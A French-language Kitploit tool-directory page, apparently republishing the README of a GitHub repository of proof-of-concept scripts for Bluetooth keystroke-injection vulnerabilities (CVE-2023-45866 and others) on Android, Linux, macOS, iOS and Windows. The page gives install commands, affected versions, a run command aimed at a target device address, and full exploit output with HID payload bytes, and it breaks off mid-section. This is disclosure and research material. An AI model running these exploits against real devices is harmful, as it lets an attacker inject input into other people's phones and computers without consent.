Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
hi_my_name_is_keyboard — PoC d'exploits d'injection de frappes clavier Bluetooth pour CVE-2023-45866, CVE-2024-21306 et CVE-2024-0230 ciblant Android, Linux, macOS et iOS via des claviers HID émulés. | Kitploit
Outils/GitHubGitHub/marcnewlin/hi_my_name_is_keyboard
Sécurité AndroidSécurité BluetoothSécurité iOSExploitationSécurité Sans FilSécurité MobileSécurité Matériel et IoTAttaque Adversariale

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
marcnewlin/hi_my_name_is_keyboard

hi_my_name_is_keyboard

PoC d'exploits d'injection de frappes clavier Bluetooth pour CVE-2023-45866, CVE-2024-21306 et CVE-2024-0230 ciblant Android, Linux, macOS et iOS via des claviers HID émulés.

Voir le dépôt
73111324il y a 2 ansVérifié par Kitploit

Bonjour, je m'appelle Clavier

Ce dépôt contient des scripts de preuve de concept pour CVE-2023-45866, CVE-2024-21306 et CVE-2024-0230. Des détails supplémentaires sont disponibles dans le billet de blog.

Preuve de conceptDescription
Injection de frappes clavier AndroidForce l'appairage d'un clavier Bluetooth virtuel avec un appareil Android vulnérable et injecte 10 secondes de pressions sur la touche tab.
Injection de frappes clavier LinuxForce l'appairage d'un clavier Bluetooth virtuel avec un hôte Linux et injecte 10 secondes de pressions sur la touche tab.
Injection de frappes clavier macOSForce l'appairage d'un clavier Bluetooth virtuel avec un hôte macOS et injecte des frappes clavier pour ouvrir un navigateur web et effectuer une recherche Google.
Injection de frappes clavier iOSForce l'appairage d'un clavier Bluetooth virtuel avec un hôte iOS et injecte des frappes clavier pour ouvrir un navigateur web et accéder à une URL.
Injection de frappes clavier WindowsForce l'appairage d'un clavier Bluetooth virtuel avec un hôte Windows et injecte des pressions sur la touche tab.
Clé de liaison Magic Keyboard via port LightningLit la clé de liaison Bluetooth à partir du port Lightning d'un Magic Keyboard.
Clé de liaison Magic Keyboard via BluetoothLit la clé de liaison Bluetooth à partir du service HID Bluetooth non authentifié du Magic Keyboard.
Clé de liaison Magic Keyboard via port USB sur le MacLit la clé de liaison Bluetooth d'un Magic Keyboard cible en usurpant le clavier via USB auprès de son Mac appairé.

Dépendances

Les scripts sont connus pour fonctionner sur un hôte Ubuntu 22.04 avec un adaptateur Bluetooth basé sur Broadcom.

J'ai principalement utilisé cet adaptateur : https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0

À partir d'une installation propre d'Ubuntu 22.04, les dépendances peuvent être installées avec les commandes suivantes.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Injection de frappes clavier

Injection de frappes clavier sur Android

Les appareils Android sont vulnérables avant le niveau de correctif de sécurité 2023-12-05.

Lorsque le Bluetooth est activé sur un appareil Android non corrigé, un attaquant peut appairer un clavier Bluetooth émulé et injecter des frappes clavier, sans confirmation de l'utilisateur. Il s'agit d'une attaque zero-click qui fonctionne dès lors que le Bluetooth est activé.

Versions concernées

Cette vulnérabilité affecte Android ~4.2.2 et versions ultérieures.

  • Android 4.2.2 - 10 ne sera pas corrigé
  • Android 11 - 14 disposent de correctifs disponibles (niveau de correctif de sécurité 2023-12-05)
  • Les Pixel 6, 7 et 8 ont été corrigés
  • Les Pixel 5 et plus anciens restent vulnérables

État initial

  • Le Bluetooth est activé sur l'appareil Android cible

Exécution du PoC

Exécutez le PoC ciblant l'appareil Android 5C:F3:70:AA:07:BD à l'aide de l'interface hci1.``` ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD

En cas de succès, le PoC injectera un payload de frappes de `tab` pendant 10 secondes.

#### Exemple de sortie```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329]  executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959]  configuring Bluetooth adapter
[2024-01-07 11:03:01.963]  calling RegisterProfile
[2024-01-07 11:03:01.966]  running dbus loop
[2024-01-07 11:03:02.096]  executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108]  executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128]  executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141]  executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144]  executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877]  connecting to SDP
[2024-01-07 11:03:02.877]  connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832]  SUCCESS! connected on port 1
[2024-01-07 11:03:03.832]  executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847]  executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858]  connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865]  'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864]  ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864]  connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932]  SUCCESS! connected on port 17
[2024-01-07 11:03:04.932]  connecting to HID Interrupt
[2024-01-07 11:03:04.932]  connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008]  SUCCESS! connected on port 19
[2024-01-07 11:03:05.008]  connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008]  connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009]  [RX-17] 9000
[2024-01-07 11:03:05.009]  [TX-17] 00
[2024-01-07 11:03:05.065]  [RX-19] a20101
[2024-01-07 11:03:05.259]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259]  injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377]  [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382]  [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436]  [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261]  [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319]  payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321]  taking 'hci1' offline

Injection de frappes clavier sous Linux

Les hôtes Linux exécutant BlueZ 5 sont vulnérables avant le déploiement des correctifs, survenu aux alentours de décembre 2023. Les numéros de version précis dépendent de la distribution Linux.

Lorsqu'un hôte Linux non corrigé est découvrable et connectable via Bluetooth, un attaquant peut appairer un clavier Bluetooth émulé et injecter des frappes clavier, sans confirmation de l'utilisateur. Il s'agit d'une attaque zero-click qui fonctionne dès lors que l'hôte est découvrable et connectable.

Versions concernées

Cette vulnérabilité est considérée comme affectant les distributions Linux non corrigées utilisant la configuration par défaut de BlueZ 5.

Google indique que ChromeOS n'a pas été affecté par cette vulnérabilité, et bien que ChromeOS n'ait pas été testé dans le cadre de cette recherche, sa configuration BlueZ semble effectivement empêcher cette attaque.

Les distributions concernées incluent Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto et Amazon Linux. Plusieurs versions peuvent être affectées. Ubuntu, par exemple, a corrigé les versions 16.04, 18.04, 20.04, 22.04, 23.04 et 23.10.

État initial

Télécharger l’outil